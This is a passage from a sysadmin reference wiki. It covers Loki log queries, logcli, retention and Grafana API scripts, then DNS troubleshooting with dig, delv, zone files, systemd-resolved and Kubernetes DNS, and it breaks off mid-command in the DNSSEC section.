HTTP/\S+" (?P\d{3})` # named groups become labels {app="nginx"} | pattern ` - - <_> " <_>" ` # cheaper than regexp for fixed layouts {app="my-app"} | json | level="error" | duration > 500ms # label filters: string, number, duration, bytes {app="my-app"} | json | status >= 500 and path != "/healthz" {app="my-app"} | json | __error__="" # drop lines the parser could not handle {app="my-app"} | json | line_format "{{.method}} {{.path}} {{.duration}}" # rewrite the line; Go templates {app="my-app"} | json | label_format route=`{{ .method }} {{ .path }}` | keep route, status {app="my-app"} | decolorize | logfmt | drop __error__, __error_details__ {app="my-app"} | trace_id="4bf92f3577b34da6" # structured metadata is filtered like a label ``` A parser that fails sets `__error__` (`JSONParserErr`, `LogfmtParserErr`) instead of dropping the line, so filter on `__error__=""` when mixed formats share a stream. Backticks avoid escaping backslashes in regexps. Metric queries wrap a log query in a range function and return series that Grafana graphs like PromQL: ```logql rate({app="my-app"} |= "error" [5m]) # lines per second, per stream sum by (app) (rate({namespace="prod"} |= "error" [5m])) # aggregated count_over_time({app="my-app"} | json | level="error" [1h]) # lines in the window sum by (level) (count_over_time({app="my-app"} | logfmt [$__auto])) # in Grafana: $__auto matches the panel step bytes_rate({namespace="prod"}[5m]) # bytes per second, for finding noisy apps topk(5, sum by (app) (bytes_over_time({namespace="prod"}[1h]))) # Unwrap turns a parsed numeric label into the sample value quantile_over_time(0.99, {app="my-app"} | json | unwrap duration_ms [5m]) by (path) sum by (path) (rate({app="my-app"} | json | unwrap bytes(response_size) [5m])) # bytes() and duration() convert units avg_over_time({app="my-app"} | logfmt | unwrap duration(latency) | __error__="" [5m]) absent_over_time({app="my-app"}[10m]) # 1 when no lines arrived: a dead-log alert sum(rate({app="my-app"} |= "error" [5m])) / sum(rate({app="my-app"}[5m])) > 0.05 # error ratio ``` `rate` and `count_over_time` count lines; `bytes_rate` and `bytes_over_time` count bytes; the `_over_time` unwrapped functions (`sum`, `avg`, `min`, `max`, `stddev`, `quantile`, `first`, `last`, `rate` with `unwrap`, `absent`) need a numeric label. Use `offset 1h` after the range to compare with the past. Ruler rules use the same expressions in Prometheus rule-file format under `ruler.storage`. ## logcli ```sh export LOKI_ADDR=http://loki.example.com:3100 export LOKI_ORG_ID=my-tenant # only when auth_enabled: true logcli labels # label names in the default last hour logcli labels app --since 24h logcli series '{namespace="prod"}' --since 1h # every stream logcli series '{namespace="prod"}' --analyze-labels # per-label value counts: the high ones are your cardinality problem logcli query --since 1h --limit 500 '{app="my-app"} |= "error"' # default: timestamp, labels, line logcli query --since 1h -o raw '{app="my-app"} | json | line_format "{{.msg}}"' # lines only logcli query --since 1h -o jsonl '{app="my-app"}' | jq -r '.line' logcli query --from="2026-09-23T22:00:00Z" --to="2026-09-24T02:00:00Z" --timezone=UTC --limit 0 --forward '{app="my-app"}' > incident.log # --limit 0 removes the cap logcli query --tail --delay-for 5 '{app="my-app"} |= "error"' # follow, buffering 5 s for late lines logcli query --stats --since 1h '{app="my-app"} |~ "timeout"' 2>&1 >/dev/null | grep -E 'Summary|TotalBytesProcessed|ExecTime' # cost of a query logcli instant-query 'sum by (app) (count_over_time({namespace="prod"} |= "error" [1h]))' logcli query --since 6h --step 5m 'sum(rate({app="my-app"} |= "error" [5m]))' -o jsonl # range metric query logcli volume '{namespace="prod"}' --since 24h # bytes per stream (volume_enabled: true) logcli query --parallel-duration=15m --parallel-max-workers=4 --part-path-prefix=/var/tmp/export/my-app --merge-parts --from="2026-09-23T00:00:00Z" --to="2026-09-24T00:00:00Z" '{app="my-app"}' # large exports in parallel parts ``` The same operations over HTTP: `GET /loki/api/v1/labels`, `GET /loki/api/v1/label/app/values`, `GET /loki/api/v1/series?match[]={app="x"}`, `GET /loki/api/v1/query_range?query=...&start=&end=&limit=100&direction=backward`, `GET /loki/api/v1/query?query=` for instant, `GET /loki/api/v1/index/volume?query=...`. Times are Unix nanoseconds or RFC3339. `/ready`, `/metrics`, `/config` and `/services` on each component report health. ## Retention and deletion Retention is applied by the compactor from the `limits_config` values, globally with `retention_period` and per stream with `retention_stream`. Both require `compactor.retention_enabled: true` and `delete_request_store`; without them `retention_period` is silently ignored and storage grows forever. ```yaml limits_config: retention_period: 744h retention_stream: - selector: '{namespace="dev"}' priority: 1 period: 72h - selector: '{app="audit"}' priority: 2 period: 8760h compactor: retention_enabled: true delete_request_store: s3 compaction_interval: 10m retention_delete_delay: 2h # marked chunks are deleted this long after being marked retention_delete_worker_count: 150 ``` Per-tenant overrides go in the `overrides` file referenced by `runtime_config.file` and hot-reload without a restart. Retention works on chunks, so a chunk containing both 30-day-old and 32-day-old lines from a slow stream is kept until its newest line ages out. Object storage lifecycle rules are not a substitute: deleting chunks under Loki leaves index entries pointing at nothing and queries return errors. Targeted deletion (a leaked secret in a log line, a GDPR request) uses the delete API, enabled by `limits_config.deletion_mode: filter-and-delete`. The request is processed by the compactor at its next run, and until then the lines still return from queries. ```sh curl -fsS -X POST -G "$LOKI_ADDR/loki/api/v1/delete" --data-urlencode 'query={app="my-app"} |= "password="' --data-urlencode "start=$(date -d '7 days ago' +%s)" --data-urlencode "end=$(date +%s)" # deletes matching lines; irreversible once applied curl -fsS "$LOKI_ADDR/loki/api/v1/delete" | jq . # pending requests and status curl -fsS -X DELETE "$LOKI_ADDR/loki/api/v1/delete?request_id=" # cancel while still pending ``` ## Oneliners ```sh # Every dashboard as a JSON file, one per uid, into ./dashboards curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/search?type=dash-db" | jq -r '.[].uid' | while read -r u; do curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/dashboards/uid/$u" | jq '.dashboard' > "dashboards/$u.json"; done # Dashboards nobody has opened in 90 days (needs [analytics] enabled; sort by usage in the UI otherwise) curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/search?type=dash-db&sort=views-asc&limit=20" | jq -r '.[] | .title' # Datasources that fail their health check curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/datasources" | jq -r '.[].uid' | while read -r u; do s=$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/datasources/uid/$u/health"); [[ $s == 200 ]] || echo "$u $s"; done # Which dashboards use a given datasource uid grep -l '"uid": "old-prometheus"' dashboards/*.json # Which dashboards reference a metric grep -l 'http_requests_total' dashboards/*.json # Alert rules and their state, with the last error if any curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "$G/api/prometheus/grafana/api/v1/rules" | jq -r '.data.groups[].rules[] | "\(.state)\t\(.name)\t\(.lastError // "")"' # Silence one alert for two hours curl -fsS -X POST -H "Authorization: Bearer $GRAFANA_TOKEN" -H 'Content-Type: application/json' "$G/api/alertmanager/grafana/api/v2/silences" -d "{\"matchers\":[{\"name\":\"alertname\",\"value\":\"my-app 5xx ratio above 5%\",\"isEqual\":true}],\"startsAt\":\"$(date -u +%FT%TZ)\",\"endsAt\":\"$(date -u -d '+2 hours' +%FT%TZ)\",\"createdBy\":\"ops\",\"comment\":\"deploy\"}" # Grafana version and database status curl -fsS "$G/api/health" | jq . # Rows in the Grafana SQLite database that hold dashboards (on the server) sqlite3 /var/lib/grafana/grafana.db 'select uid, title, updated from dashboard where is_folder = 0 order by updated desc limit 10' # Loki: streams per app, highest first logcli series '{namespace="prod"}' --since 1h -q | sed -E 's/.*app="([^"]*)".*/\1/' | sort | uniq -c | sort -rn | head # Loki: bytes ingested per app over the last day logcli instant-query 'topk(10, sum by (app) (bytes_over_time({namespace="prod"}[24h])))' # Loki: apps that stopped logging in the last 30 minutes but logged in the hour before logcli instant-query 'sum by (app) (count_over_time({namespace="prod"}[1h] offset 30m)) unless sum by (app) (count_over_time({namespace="prod"}[30m]))' # Loki: error lines per minute for one app, as CSV logcli query --since 6h --step 1m -o jsonl 'sum(count_over_time({app="my-app"} | json | level="error" [1m]))' | jq -r '.[] | .values[] | @csv' 2>/dev/null || true # Loki: ingestion rate limits being hit, per tenant (Prometheus query against Loki's metrics) curl -fsS "$LOKI_ADDR/metrics" | grep -E '^loki_discarded_samples_total' | grep -v ' 0$' # Loki: ring health (every ingester should be ACTIVE) curl -fsS "$LOKI_ADDR/ring" | grep -oE '(ACTIVE|LEAVING|PENDING|UNHEALTHY)' | sort | uniq -c # Loki: flush in-memory chunks before a planned ingester shutdown curl -fsS -X POST "$LOKI_ADDR/flush" # Loki: compactor status and retention progress curl -fsS "$LOKI_ADDR/compactor/ring"; curl -fsS "$LOKI_ADDR/metrics" | grep -E '^loki_compactor_(apply_retention_last_successful_run_timestamp_seconds|deleted_chunks_total)' # Alloy: components in an unhealthy state curl -fsS http://127.0.0.1:12345/api/v0/web/components | jq -r '.[] | select(.health.state != "healthy") | "\(.localID)\t\(.health.message)"' # Alloy: lines dropped by the Loki writer (429s and 400s) curl -fsS http://127.0.0.1:12345/metrics | grep -E '^loki_write_dropped_entries_total' ``` ## Scripts Back up every Grafana dashboard into a directory tree by folder, suitable for committing. ```sh #!/usr/bin/env bash # usage: GRAFANA_TOKEN=... grafana-export.sh http://grafana.example.com:3000 ./dashboards set -euo pipefail G=${1:?grafana url} out=${2:-dashboards} H="Authorization: Bearer ${GRAFANA_TOKEN:?}" mkdir -p "$out" curl -fsS -H "$H" "$G/api/search?type=dash-db&limit=5000" \ | jq -r '.[] | [.uid, (.folderTitle // "General")] | @tsv' \ | while IFS=$'\t' read -r uid folder; do dir="$out/${folder// /-}" mkdir -p "$dir" curl -fsS -H "$H" "$G/api/dashboards/uid/$uid" | jq '.dashboard | .id = null' > "$dir/$uid.json" printf '%s/%s.json\n' "$dir" "$uid" done ``` Push every dashboard JSON under a directory to Grafana, creating folders from directory names. ```sh #!/usr/bin/env bash # usage: GRAFANA_TOKEN=... grafana-import.sh http://grafana.example.com:3000 ./dashboards set -euo pipefail G=${1:?grafana url} src=${2:-dashboards} H="Authorization: Bearer ${GRAFANA_TOKEN:?}" J='Content-Type: application/json' find "$src" -mindepth 2 -name '*.json' | while read -r f; do folder=$(basename "$(dirname "$f")") fuid=$(curl -fsS -H "$H" "$G/api/folders" | jq -r --arg t "$folder" '.[] | select(.title == $t) | .uid') if [[ -z $fuid ]]; then fuid=$(curl -fsS -X POST -H "$H" -H "$J" "$G/api/folders" -d "$(jq -n --arg t "$folder" '{title: $t}')" | jq -r .uid) fi jq --arg fu "$fuid" '{dashboard: (. + {id: null}), folderUid: $fu, overwrite: true, message: "import script"}' "$f" \ | curl -fsS -X POST -H "$H" -H "$J" "$G/api/dashboards/db" -d @- | jq -r '"\(.status)\t\(.uid)\t\(.url)"' done ``` Report Loki label cardinality for a selector and flag labels with more than a threshold of values. ```sh #!/usr/bin/env bash # usage: LOKI_ADDR=... loki-cardinality.sh '{namespace="prod"}' 100 set -euo pipefail sel=${1:-'{}'} threshold=${2:-100} logcli series "$sel" --since 1h --analyze-labels -q \ | awk -v t="$threshold" 'NR>1 && $2 ~ /^[0-9]+$/ { flag = ($2 > t) ? "HIGH" : ""; printf "%-40s %8s values %6s streams %s\n", $1, $2, $3, flag }' \ | sort -k2 -nr ``` Check the whole logging path: Alloy healthy, Loki ready, and lines for a job seen in the last five minutes. ```sh #!/usr/bin/env bash set -euo pipefail job=${1:?job label to check} alloy=${ALLOY_ADDR:-http://127.0.0.1:12345} : "${LOKI_ADDR:?}" rc=0 curl -fsS --max-time 5 "$alloy/-/ready" >/dev/null || { echo "alloy not ready"; rc=1; } curl -fsS --max-time 5 "$LOKI_ADDR/ready" >/dev/null || { echo "loki not ready"; rc=1; } n=$(logcli instant-query -q "sum(count_over_time({job=\"$job\"}[5m]))" 2>/dev/null | jq -r '.[0].value[1] // "0"') if [[ ${n%.*} -eq 0 ]]; then echo "no lines for job=$job in 5m"; rc=1; else echo "job=$job: $n lines in 5m"; fi exit "$rc" ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | Grafana panel shows `No data` | Wrong datasource uid, variable resolving to nothing, or time range | Panel > Inspect > Query shows the exact request and response; check `$namespace` value in the URL | | Provisioned dashboard missing | Duplicate `uid`, invalid JSON, or wrong `path` | `journalctl -u grafana-server \| grep provisioning`; `jq . file.json` | | Dashboard edits disappear | File provisioning overwrote them | Edit the file; or `allowUiUpdates: true` and remove the file | | `Datasource provisioning error: datasource.yaml config is invalid` | Bad YAML or a `jsonData` key for the wrong type | Compare with `GET /api/datasources/uid/` from a working instance | | Alert stays `Pending` | `for` not yet elapsed, or evaluation slower than the group interval | Rule state in `/api/prometheus/grafana/api/v1/rules`; shorten the query or move to its own group | | Alert `Error` state | Query failed | `lastError` in the rules API; usually a datasource timeout or a removed metric | | Loki: `Data source connected, but no labels were received` | Nothing ingested in the lookback, or the wrong tenant | `logcli labels --since 24h`; check `X-Scope-OrgID` when `auth_enabled: true` | | Loki: no logs for a new host | Shipper cannot reach Loki, or lines rejected | Alloy UI component health; `loki_write_dropped_entries_total`; Loki `loki_discarded_samples_total{reason=...}` | | `entry too far behind` / `timestamp too old` | Line older than `reject_old_samples_max_age` (default 7 days), or clock skew | Fix the clock; raise the limit for backfills | | `per stream rate limit exceeded` (429) | One stream over `per_stream_rate_limit` (3 MB/s default) | Split the stream with another bounded label, or raise the limit | | `Ingestion rate limit exceeded` (429) | Tenant over `ingestion_rate_mb` | Raise `ingestion_rate_mb` and `ingestion_burst_size_mb`; find the noisy app with `bytes_rate` | | `Maximum active stream limit exceeded` | Too many streams: a high-cardinality label | `logcli series --analyze-labels`; move the label into the line or structured metadata | | `maximum of series (500) reached for a single query` | Metric query grouped by a high-cardinality label | Aggregate with `sum by (...)` on fewer labels; `max_query_series` raises the cap at querier memory cost | | Query slow or times out | Parser before the line filter, wide selector, long range | Put `\|=` before `\| json`; add labels to the selector; check `--stats` bytes processed; raise `split_queries_by_interval` parallelism and querier count | | `too many outstanding requests` | Query scheduler queue full | Fewer or narrower concurrent queries; more queriers; `max_outstanding_requests_per_tenant` | | Storage never shrinks | Retention not enabled | `compactor.retention_enabled: true` and `delete_request_store`; confirm with `loki_compactor_apply_retention_last_successful_run_timestamp_seconds` | | Logs appear twice | Two shippers on the same files, or Alloy restarted without a persisted positions file | One shipper per host; persist `/var/lib/alloy/data` | ## Further reading - [Grafana provisioning](https://grafana.com/docs/grafana/latest/administration/provisioning/) - [Grafana HTTP API](https://grafana.com/docs/grafana/latest/developers/http_api/) - [Grafana alerting file provisioning](https://grafana.com/docs/grafana/latest/alerting/set-up/provision-alerting-resources/file-provisioning/) - [LogQL reference](https://grafana.com/docs/loki/latest/query/) - [Loki configuration reference](https://grafana.com/docs/loki/latest/configure/) - [Loki retention](https://grafana.com/docs/loki/latest/operations/storage/retention/) - [Alloy Loki components](https://grafana.com/docs/alloy/latest/reference/components/loki/) --- # DNS > Resolve and trace names with dig and resolvectl, read the answer, reason about TTLs and caching, and debug search domains and Kubernetes DNS. Canonical: https://www.wiki.jodisand.me/dns/ Reviewed: 2026-09-24 Related: [HTTP and curl](https://www.wiki.jodisand.me/http/index.md), [TLS and certificates](https://www.wiki.jodisand.me/tls/index.md), [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Resolve a name | `dig +short api.example.com` | | Resolve as applications do (hosts file, NSS) | `getent ahosts api.example.com` | | Which resolver answered | `dig api.example.com \| grep SERVER` | | Ask a specific resolver, bypassing the local one | `dig @1.1.1.1 api.example.com` | | Ask the authoritative server, no recursion | `dig +norecurse @ns1.example.com api.example.com` | | Follow the delegation from the root | `dig +trace api.example.com` | | Reverse lookup | `dig -x 203.0.113.10 +short` | | Nameservers for a zone | `dig NS example.com +short` | | Mail records | `dig MX example.com +short` | | TXT (SPF, verification) | `dig TXT example.com +short` | | Zone serial | `dig SOA example.com +short` | | Remaining TTL in a cache | `dig api.example.com +noall +answer` (second column counts down) | | What systemd-resolved does | `resolvectl query api.example.com` | | Flush systemd-resolved cache | `resolvectl flush-caches` | | Name from inside a cluster | `kubectl run -it --rm dnstest --image=busybox --restart=Never -- nslookup api.my-namespace` | `dig` and `delv` come from BIND (`bind-utils` on Fedora and RHEL, `dnsutils` or `bind9-dnsutils` on Debian and Ubuntu). ## A name that will not resolve Answer three questions in order: does the authoritative server have the record, does the recursive resolver return it, and does this host (or container) use that resolver. ```sh getent ahosts api.example.com # what applications on this host get, including /etc/hosts dig +short api.example.com # what the configured resolver returns dig @1.1.1.1 +short api.example.com # what a public resolver returns dig NS example.com +short # who is authoritative dig +norecurse @ns1.example.com api.example.com # straight from the zone, no cache involved dig +trace api.example.com | tail -20 # delegation from the root, done by dig itself resolvectl status | head -20 # which servers and search domains this host uses ``` `dig` talks DNS directly to the server in `/etc/resolv.conf`. It ignores `/etc/hosts`, `nsswitch.conf`, mDNS and per-link routing in systemd-resolved. When `dig` works and the application does not, compare with `getent`. | Result | Meaning | | --- | --- | | `NXDOMAIN` | The name does not exist at all; check for a typo, a missing record or the wrong zone | | `NOERROR` with an empty answer (NODATA) | The name exists but has no record of that type, for example A queried where only AAAA exists | | `SERVFAIL` | The resolver could not get an answer: broken delegation, unreachable or lame authoritative servers, or DNSSEC validation failure | | `REFUSED` | The server will not answer this query from you, often recursion not allowed for your source address | | `connection timed out; no servers could be reached` | Nothing answered on port 53; firewall, wrong server address or resolver down | | Answer differs by resolver | Caching within TTL, split-horizon DNS, or geo-based answers | | Resolves but the application fails | `/etc/hosts` override, a different resolver in the container, or the application cached the address at startup | `dig +short` prints nothing for both `NXDOMAIN` and NODATA. Use plain `dig` when diagnosing, because the status line and flags are the diagnosis. ## Reading dig output ```text ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23405 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 ;; ANSWER SECTION: api.example.com. 60 IN CNAME lb.example.net. lb.example.net. 30 IN A 203.0.113.10 ;; SERVER: 192.0.2.53#53(192.0.2.53) (UDP) ;; Query time: 4 msec ``` | Field | Meaning | | --- | --- | | `status` | Response code; `NOERROR` even with zero answers | | `flags: aa` | Authoritative answer, straight from the zone | | `flags: rd` / `ra` | Recursion desired by the client / available at this server | | `flags: ad` | The resolver validated the answer with DNSSEC | | `flags: tc` | Response truncated; the client should retry over TCP | | TTL column | Seconds left in the cache that answered; a full TTL means it was just fetched | | `SERVER` | Which server actually answered. Check this first when results disagree | | `Query time` | A slow first query and a fast repeat means the first one recursed and the second came from cache | ## dig, drill and delv `dig` options starting with `+` control the query and the display; the ones starting with `-` select the transport, the type and the server. Options accumulate left to right, so `+noall +answer` clears every section and then re-enables the answer. ```sh dig -t MX example.com +noall +answer # one section only; -t and a bare type name are equivalent dig example.com +short +identify # answer plus the server and port that supplied it dig SOA example.com +multiline # SOA fields on separate lines with field names dig +nssearch example.com # SOA from every authoritative server, one line each, with query time dig +norecurse +dnssec DNSKEY example.com @ns1.example.com # zone keys with RRSIGs, from the source dig +tcp AXFR example.com @ns1.example.com # zone transfer; refused unless your address is allowed dig +tls @1.1.1.1 example.com # DNS over TLS, port defaults to 853 dig +https @1.1.1.1 example.com # DNS over HTTPS, port defaults to 443 dig +subnet=192.0.2.0/24 example.com @8.8.8.8 # EDNS Client Subnet: what a client in that network would be told dig +bufsize=512 +noedns example.com # force pre-EDNS behaviour to reproduce truncation dig +timeout=2 +tries=1 example.com # fail fast instead of waiting 5 s and retrying 3 times dig -4 example.com; dig -6 example.com # restrict the transport, not the record type dig -p 5353 @127.0.0.1 example.com # a resolver on a non-standard port dig -f queries.txt +short # batch mode: one query per line in the file dig +qr example.com # print the query as sent; shows EDNS options and flags ``` `+nssearch` is the quickest way to find a secondary that has not picked up a change: every serial in the output should match. `+ttlunits` prints TTLs as `1h` rather than `3600` and is easier to read on long answers. `drill` (from ldns, package `ldns-utils` on Fedora, `ldnsutils` on Debian) covers the same ground with different spelling: `drill -T` traces from the root, `drill -D` sets the DO bit, `drill -S name` chases signatures up to a trust anchor, `drill -x 203.0.113.10` reverses, `drill -t` uses TCP and `drill -a` retries a truncated answer with a larger buffer and then TCP. `drill -s DNSKEY example.com` prints the matching DS records next to each key, which is what you paste into the parent zone. `delv` is a validating client. It does its own resolution and validation rather than trusting the `ad` flag from a resolver, so it answers the question "would a validating resolver accept this zone" from any host. ```sh delv example.com # "; fully validated", "; unsigned answer" or an explanation of the failure delv +vtrace example.com # every validation step: which key, which DS, which RRSIG delv +rtrace example.com # every query delv sent while resolving delv @ns1.example.com +cdflag example.com # fetch with checking disabled, still validate locally delv -a /etc/trusted-key.key +root=. example.com # alternate trust anchor file ``` ## Record types | Type | Purpose | Note | | --- | --- | --- | | `A` / `AAAA` | Name to IPv4 / IPv6 | Clients may query both; a slow or broken AAAA path delays connections | | `CNAME` | Alias to another name | Cannot coexist with other records at the same name, so never at a zone apex | | `ALIAS` / `ANAME` | Apex alias | Provider-specific, flattened to A/AAAA on the server | | `HTTPS` / `SVCB` | Service endpoint, ALPN and hints (RFC 9460) | Browsers use `HTTPS` to learn HTTP/3 support and apex aliasing | | `MX` | Mail exchangers with preference | Lower number is tried first | | `TXT` | Arbitrary text | SPF, DKIM, DMARC, domain verification | | `SRV` | Service host and port | Named `_service._proto.name` | | `NS` | Delegates a zone | The set at the parent should match the set in the child zone | | `SOA` | Zone metadata, serial, negative-cache TTL | Serial must increase for secondaries to transfer | | `PTR` | Reverse mapping | Lives under `in-addr.arpa` / `ip6.arpa`, controlled by whoever owns the address block | | `CAA` | CAs allowed to issue certificates for the name | A CA must refuse issuance if not listed; see [TLS](https://www.wiki.jodisand.me/tls/) | Record data as it appears in a zone file or a `dig` answer: ```text example.com. 3600 IN SOA ns1.example.com. hostmaster.example.com. 2026092401 7200 900 1209600 300 example.com. 3600 IN NS ns1.example.com. example.com. 3600 IN MX 10 mail.example.com. example.com. 3600 IN TXT "v=spf1 mx -all" example.com. 3600 IN CAA 0 issue "letsencrypt.org" example.com. 3600 IN HTTPS 1 . alpn="h2,h3" www.example.com. 300 IN CNAME lb.example.net. _sip._tcp.example.com. 3600 IN SRV 10 60 5060 sip.example.com. 10.2.0.192.in-addr.arpa. 3600 IN PTR api.example.com. ``` The SOA fields after the two names are serial, refresh, retry, expire and minimum. Refresh is how often a secondary checks the serial, retry how soon it re-checks after a failure, expire how long it keeps serving the zone without reaching the primary, and minimum is the negative-cache TTL. A serial in `YYYYMMDDnn` form leaves 99 changes a day and stays comparable; secondaries transfer only when the serial is greater in serial-number arithmetic (RFC 1982), so a serial that goes backwards is silently ignored. `TXT` strings are limited to 255 characters per string; longer values such as DKIM keys are split into several quoted strings in one record and concatenated by the reader. `SRV` fields are priority, weight, port and target; a target of `.` means the service is explicitly absent. `HTTPS` with priority `0` is an alias form that behaves like a CNAME at the apex; priority `1` and above carry parameters such as `alpn` and `ipv4hint`. ## Zone files A zone file is the text form of a zone as BIND, NSD, Knot and most providers' import tools read it (RFC 1035 master file format). Names without a trailing dot are relative to `$ORIGIN`; a bare `@` is the origin itself. A line without a name inherits the previous name. `$TTL` sets the default TTL for records without one. ```text $ORIGIN example.com. $TTL 3600 @ IN SOA ns1 hostmaster ( 2026092401 ; serial 7200 ; refresh 900 ; retry 1209600 ; expire 300 ) ; negative-cache TTL IN NS ns1 IN NS ns2 IN MX 10 mail ns1 IN A 192.0.2.53 ns2 IN A 198.51.100.53 mail IN A 192.0.2.25 api 60 IN A 192.0.2.10 www IN CNAME api ``` Check a zone before loading it. `named-checkzone` parses the file as `named` would and reports the serial it read; `named-checkconf -z` does that for every zone in the configuration. ```sh named-checkzone example.com /var/named/example.com.zone # "OK" and the loaded serial, or the line that failed named-checkconf -z /etc/named.conf # configuration syntax and every zone file named-checkconf -p /etc/named.conf | less # the configuration with includes expanded and defaults applied rndc reload example.com # reload one zone after editing its file; rndc reload alone reloads all rndc zonestatus example.com # serial, type, next refresh and whether it is loaded rndc retransfer example.com # on a secondary: force a transfer regardless of serial ``` The common mistakes are a missing trailing dot on a fully qualified name inside the file (`mail.example.com` becomes `mail.example.com.example.com.`), a serial that was not incremented so secondaries never transfer, and a CNAME sharing a name with any other record. `named-checkzone` catches the last; the first two look valid and show up as wrong answers. ## TTL and caching Changes do not propagate. A new record is visible immediately to anyone who asks the authoritative servers. Resolvers that cached the previous answer keep serving it until its TTL runs out. ```sh dig api.example.com +noall +answer # TTL remaining in your resolver's cache dig +norecurse @ns1.example.com api.example.com # the record and full TTL at the source watch -n5 'dig +short @8.8.8.8 api.example.com' # watch one public resolver pick up a change ``` Before a planned change, lower the TTL (for example to 60 seconds) and wait at least one old TTL so every cache holds the short value. Make the change, then raise the TTL again. Negative answers are cached too (RFC 2308). The negative TTL is the lower of the SOA record's own TTL and its MINIMUM field. An `NXDOMAIN` fetched just before a record was created lingers for that long. Some clients cache beyond DNS: the JVM caches lookups according to `networkaddress.cache.ttl`, and many applications resolve once at startup and never again. Restarting the application is sometimes the only fix. ## Search domains and ndots For a name with fewer dots than `ndots`, the resolver tries each search domain appended first and the name as written last. A name with at least `ndots` dots is tried as written first. A trailing dot (`api.example.com.`) marks the name fully qualified and skips the search list. ```text nameserver 10.96.0.10 search my-namespace.svc.cluster.local svc.cluster.local cluster.local options ndots:5 ``` That is a typical Kubernetes pod `/etc/resolv.conf`. `api.example.com` has two dots, fewer than five, so the resolver tries `api.example.com.my-namespace.svc.cluster.local`, then the other two cluster suffixes and any search domains inherited from the node, and only then `api.example.com`. Each attempt is usually sent for both A and AAAA. In hot paths, use a trailing dot for external names or lower `ndots` per pod with `dnsConfig.options`. The glibc and musl (Alpine) resolvers handle search lists and parallel A/AAAA queries differently, so the same image logic can behave differently after a base image change. ```sh cat /etc/resolv.conf resolvectl query api.example.com # shows the link and whether the answer came from cache resolvectl statistics # cache hits, misses and DNSSEC counters resolvectl flush-caches # needs root or polkit authorisation ``` On hosts with systemd-resolved, `/etc/resolv.conf` usually points at the stub `127.0.0.53`, and the real upstream servers are listed per link in `resolvectl status`. See [systemd](https://www.wiki.jodisand.me/systemd/#a-failing-service) if `systemd-resolved` itself is failing. ## systemd-resolved systemd-resolved routes each query to a link based on the link's search and routing domains, then falls back to whichever links have the default route. A routing domain is written with a leading `~` and steers queries without being appended to short names, which is what a VPN link needs: `~corp.example.com` sends only that domain to the VPN's resolver, and `~.` makes a link the default for everything else. When two links both claim the default route, resolved sends the query to both and takes the first answer, which is the usual cause of "DNS works only sometimes after connecting the VPN". ```sh resolvectl status eth0 # servers, search domains, DNSSEC and DNS-over-TLS state for one link resolvectl query --type=MX example.com # explicit type; disables search-domain logic resolvectl query --cache=no api.example.com # bypass the cache for this lookup resolvectl query --validate=no api.example.com # skip DNSSEC validation for this lookup resolvectl service _sip._tcp example.com # SRV lookup with the targets resolved resolvectl dns eth0 192.0.2.53 2001:db8::53 # set servers for a link until the network manager changes them resolvectl domain eth0 '~corp.example.com' # routing domain: send only this suffix to eth0's servers resolvectl default-route eth0 false # stop this link from receiving unrelated queries resolvectl revert eth0 # drop the per-link overrides made with the commands above resolvectl show-cache # dump cached records (needs root) resolvectl log-level debug # verbose logs in journalctl -u systemd-resolved until reset to info ``` Settings made with `resolvectl dns` and `resolvectl domain` are runtime only. Persistent configuration belongs in `/etc/systemd/resolved.conf.d/*.conf` for global values or in the network manager's per-connection settings (`nmcli connection modify my-vpn ipv4.dns-search '~corp.example.com'`, or `[Network] Domains=~corp.example.com` in a `.network` file). ```ini # /etc/systemd/resolved.conf.d/upstream.conf [Resolve] DNS=192.0.2.53#dns.example.com 2001:db8::53 # server with the name to verify for DNS-over-TLS FallbackDNS= DNSOverTLS=opportunistic # yes enforces it and fails closed DNSSEC=allow-downgrade # yes fails closed on unsigned-looking answers Domains=~. Cache=yes ``` `/etc/resolv.conf` can be one of three things: a symlink to `/run/systemd/resolve/stub-resolv.conf` (the stub at `127.0.0.53`, search domains included), to `/run/systemd/resolve/resolv.conf` (the upstream servers directly, which bypasses per-link routing and the cache), or a static file managed by something else. `ls -l /etc/resolv.conf` tells you which, and a static file that another tool keeps rewriting is a fight between NetworkManager, resolved and a VPN client. ## Kubernetes DNS CoreDNS serves the cluster domain (usually `cluster.local`) and forwards everything else to the upstream servers in its `forward` plugin, often the node's `/etc/resolv.conf`. A Service name resolves to its ClusterIP; a headless Service resolves to the ready pod IPs. | Name | Resolves to | | --- | --- | | `api` | Service `api` in the pod's own namespace, via the search list | | `api.my-namespace` | Service `api` in `my-namespace` | | `api.my-namespace.svc.cluster.local` | Fully qualified, no search expansion | | `10-1-2-3.my-namespace.pod.cluster.local` | Pod with IP 10.1.2.3 (CoreDNS `pods` option must be enabled) | | `_grpc._tcp.api.my-namespace.svc.cluster.local` | SRV record for the Service port named `grpc` | ```sh kubectl run -it --rm dnstest --image=nicolaka/netshoot --restart=Never -- dig api.my-namespace.svc.cluster.local kubectl -n kube-system logs -l k8s-app=kube-dns --tail 50 kubectl -n kube-system get configmap coredns -o yaml kubectl -n kube-system get endpointslice -l kubernetes.io/service-name=kube-dns ``` Intermittent resolution failures in a cluster usually come from unhealthy or overloaded CoreDNS replicas, a NetworkPolicy that blocks UDP and TCP 53 to `kube-system`, or conntrack races on UDP. The records themselves are rarely the problem. See [Kubernetes](https://www.wiki.jodisand.me/kubernetes/#start-with-a-failing-workload) and [Cilium](https://www.wiki.jodisand.me/cilium/) for policy checks. ## DNSSEC DNSSEC signs records so a validating resolver can prove an answer came from the zone owner unmodified. It does not encrypt queries; DNS over TLS or HTTPS does that. ```sh dig +dnssec api.example.com | grep -E 'RRSIG|flags:' # ad in flags = validated by the resolver dig +cdflag api.example.com # checking disabled: does it resolve without validation? delv api.example.com # validates locally and explains failures dig DS example.com +short # 